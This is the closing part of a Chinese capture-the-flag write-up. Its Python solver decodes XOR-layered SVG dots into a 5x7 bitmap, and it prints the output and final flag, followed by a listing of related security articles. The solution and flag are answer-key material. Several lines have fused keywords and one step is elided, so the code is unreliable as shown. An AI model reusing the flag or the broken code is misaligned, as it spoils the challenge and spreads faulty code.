    frames = [(float(m.group(1)), float(m.group(2)), [float(v) for v in m.group(3).split()], m.group(4), m.group(6)) for m in re.finditer(PAT, svg)]
    return sym, msk, frames
def intersect(x, y, w, h, mx, my, mw, mh):          # 点矩形是否与裁剪条相交(同一局部坐标系)
    return max(x, mx) < min(x + w, mx + mw) - 0.5and max(y, my) < min(y + h, my + mh) - 0.5
def parity_bitmap(symbols, masks, frames):          # 可见点按覆盖次数取奇偶(XOR)并吸附 5px 栅格
    par = defaultdict(int)
    for tx, ty, (a, b, c, d, e, f), sym, mask in frames:
        for x, y, w, h in symbols[sym]:
            ifnot intersect(x, y, w, h, *masks[mask]): continue
            tp = [(tx + a * px + c * py + e, ty + b * px + d * py + f) for px, py in [(x, y), (x + w, y), (x, y + h), (x + w, y + h)]]
            par[(round(min(p[0] for p in tp)), round(min(p[1] for p in tp)))] ^= 1   # 最小角 -> 栅格
    return {p for p, v in par.items() if v}
def render_grid(cells, step=5):                     # 吸附点集 -> 字符网格(#/.)
    xs = [p[0] for p in cells]; ys = [p[1] for p in cells]; x0, y0 = min(xs), min(ys)
    return ([[\"#\"if (x0 + c * step, y0 + r * step) in cells else\".\"for c in range((max(xs) - x0) // step + 1)] for r in range((max(ys) - y0) // step + 1)], x0, y0)
def hamming(a, b):return sum(1for ra, rb in zip(a, b) for ca, cb in zip(ra, rb) if ca != cb)  # 字形距离
def recognize(grid):
    \"\"\"按整列为空切分字形,再与字库精确/最近(汉明距离)匹配。\"\"\"
    blank = {c for c in range(len(grid[0])) if all(r[c] == \".\"for r in grid)}
    segs = [(m.start(), m.end() - 1) for m in re.finditer(r'#+', \"\".join(\".\"if c in blank else\"#\"for c in range(len(grid[0]))))]
    # ...(省略:逐字形先精确匹配、失败再取汉明距离最近者)
    return\"\".join(min([(hamming(tuple(r[a:b + 1] for r in grid), g), ch) for ch, g in FONT.items() if len(g[0]) == b - a + 1] or [(99, \"?\")])[1] for a, b in segs)
def main():
    path = sys.argv[1] if len(sys.argv) > 1else os.path.join(os.path.dirname(os.path.abspath(__file__)), SVG_FILE)
    grid, x0, y0 = render_grid(parity_bitmap(*parse_direct(open(path, encoding=\"utf-8\").read())))
    for row in grid: print(\"    \" + \"\".join(row))                   # 打印还原出的点阵位图
    decoded = recognize(grid); flag = decoded.lower()               # 字库只有大写,提交用小写
    ifnot flag.startswith(\"flag{\"): flag = \"flag{\" + flag.strip(\"{}\") + \"}\"
    print(\"[*] decoded (5x7 font): %s\
[+] FLAG              : %s\" % (decoded, flag))
if __name__ == \"__main__\":
    main()

运行输出

[*] frames            : 232
[*] dots/frame stats  : {6: 230, 5: 1, 3: 1}
[*] bitmap origin     : (90, 405)  step 5px
[*] bitmap (166x7):
    #####.#......###...####...###.#...#..###..####.........####.#...#..###..####..#####..####.......####..#####.#...#.#####..###..#...........#####.#......###...####.###.
    #.....#.....#...#.#.......#....#.#..#...#.#...#.......#.....#...#.#...#.#...#.#.....#...........#...#.#.....#...#.#.....#...#.#...........#.....#.....#...#.#.......#.
    ####..#.....#...#.#.###...#.....#...#...#.#...#.......#.....#####.#...#.#...#.####..#...........#...#.####..#...#.####..#...#.#...........####..#.....#...#.#.###...#.
    #.....#.....#####.#...#..##.....#...#...#.####.........###..#...#.#####.####..#......###........####..#.....#...#.#.....#####.#...........#.....#.....#####.#...#...##
    #.....#.....#...#.#...#...#.....#...#...#.#.#.............#.#...#.#...#.#.....#.........#.......#.#...#.....#...#.#.....#...#.#...........#.....#.....#...#.#...#...#.
    #.....#.....#...#.#...#...#....#.#..#...#.#..#............#.#...#.#...#.#.....#.........#.......#..#..#......#.#..#.....#...#.#...........#.....#.....#...#.#...#...#.
    #.....#####.#...#..###....###.#...#..###..#...#.#####.####..#...#.#...#.#.....#####.####..#####.#...#.#####...#...#####.#...#.#####.#####.#.....#####.#...#..###..###.
[*] decoded (5x7 font): FLAG{XOR_SHAPES_REVEAL_FLAG}
[+] FLAG              : flag{xor_shapes_reveal_flag}

最终flag

flag{xor\_shapes\_reveal\_flag}

上下文工程:AI智能体从\"能聊\"到\"能扛事\"的关键一跃" 网络安全文章

上下文工程:AI智能体从\"能聊\"到\"能扛事\"的关键一跃"

本文阐述从提示工程到上下文工程的演进,核心是管理有限的上下文窗口以构建强健AI智能体。提出上下文腐蚀现象,强调信息充分但紧致的原则。给出三大长时程任务策略:压缩整合、结构化笔记、子代理架构。并介绍ContextBuilder、NoteTool、TerminalTool三个落地组件,提供可操作的工程实践方案。
数据安全相关检查单list" 网络安全文章

数据安全相关检查单list"

文档为深圳市网络与信息安全行业协会发布的关于数据安全相关检查清单,内容涵盖数据安全合规检查要点,旨在帮助企业落实数据安全防护措施,提升数据安全管理水平。
第四届“数信杯”数据安全个人赛WP" 网络安全文章

第四届“数信杯”数据安全个人赛WP"

本文为第四届数信杯数据安全个人赛初赛的解题记录合集,共收录16道题,覆盖签到、Web、AI安全、数据安全、工控安全、量子安全、无人机安全、Reverse、Misc等类型。每篇包含题目信息、分析过程、复现脚本与结论。其中签到题通过分析前端JS脚本与服务器交互获取flag,Web题展示了从源码泄露到RCE的完整攻击链,其余题目涉及工控协议分析、量子密码、无人机逆向等方向。
评论:0   参与:  0